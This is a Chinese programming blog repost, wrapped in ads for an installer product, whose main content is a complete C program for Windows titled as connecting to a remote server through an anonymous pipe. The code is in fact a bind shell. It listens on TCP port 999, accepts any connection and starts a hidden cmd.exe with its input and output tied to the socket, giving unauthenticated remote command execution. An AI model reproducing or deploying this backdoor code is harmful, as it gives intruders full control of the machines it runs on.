创建匿名管道连接到远程服务器
文章转自王牌软件
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
只回答业务咨询
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
#pragma comment(lib, "ws2_32.lib") #include <windows.h> #define MasterPort 999 //定义监听端口999 main() //主函数入口 { WSADATA WSADa; sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; //分配内存资源,初始化数据: ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); //获取cmd路径 GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //加载ws2_32.dll: WSAStartup(0x0202,&WSADa); //设置本地信息和绑定协议,建立socket,代码如下: SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.s_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //设置绑定端口999: bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //设置服务器端监听端口: listen(CSocket,1); iAddrSize = sizeof(SockAddrIn); //开始连接远程服务器,并配置隐藏窗口结构体: SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; //创建匿名管道: CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess, INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //关闭进程句柄: closesocket(CSocket); closesocket(SSocket); WSACleanup(); //关闭连接卸载ws2_32.dll return 0; } |
学习日记,兼职软件设计,软件修改,毕业设计。
本文出自 学习日记,转载时请注明出处及相应链接。
本文永久链接: https://www.softwareace.cn/?p=322